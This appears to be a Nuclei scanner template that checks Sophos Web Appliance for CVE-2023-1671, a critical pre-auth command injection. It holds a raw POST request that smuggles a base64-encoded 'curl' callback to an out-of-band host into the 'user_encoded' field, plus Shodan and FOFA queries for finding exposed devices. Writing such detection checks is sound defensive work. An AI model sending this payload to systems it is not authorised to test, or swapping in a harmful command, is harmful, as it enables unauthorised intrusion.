55 lines
1.9 KiB
YAML
55 lines
1.9 KiB
YAML
id: CVE-2023-1671
|
|
|
|
info:
|
|
name: Sophos Web Appliance - Remote Code Execution
|
|
author: Co5mos
|
|
severity: critical
|
|
description: |
|
|
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
|
|
reference:
|
|
- https://vulncheck.com/blog/cve-2023-1671-analysis
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
|
|
- http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
|
|
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-1671
|
|
cwe-id: CWE-77
|
|
epss-score: 0.36262
|
|
epss-percentile: 0.96704
|
|
cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: sophos
|
|
product: web_appliance
|
|
shodan-query: title:"Sophos Web Appliance"
|
|
fofa-query: title="Sophos Web Appliance"
|
|
tags: packetstorm,cve,cve2023,rce,sophos,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /index.php?c=blocked&action=continue HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: curl"
|
|
|
|
# digest: 4a0a00473045022100c0c74ce76d386e2d941436b70be168892881ee8c33970a1eeca2613e352f5267022038b46493043dce5e10f181a703b1828b3557984bda0ddbb95d3e8f3e65ca179a:922c64590222798bb761d5b6d8e72950
|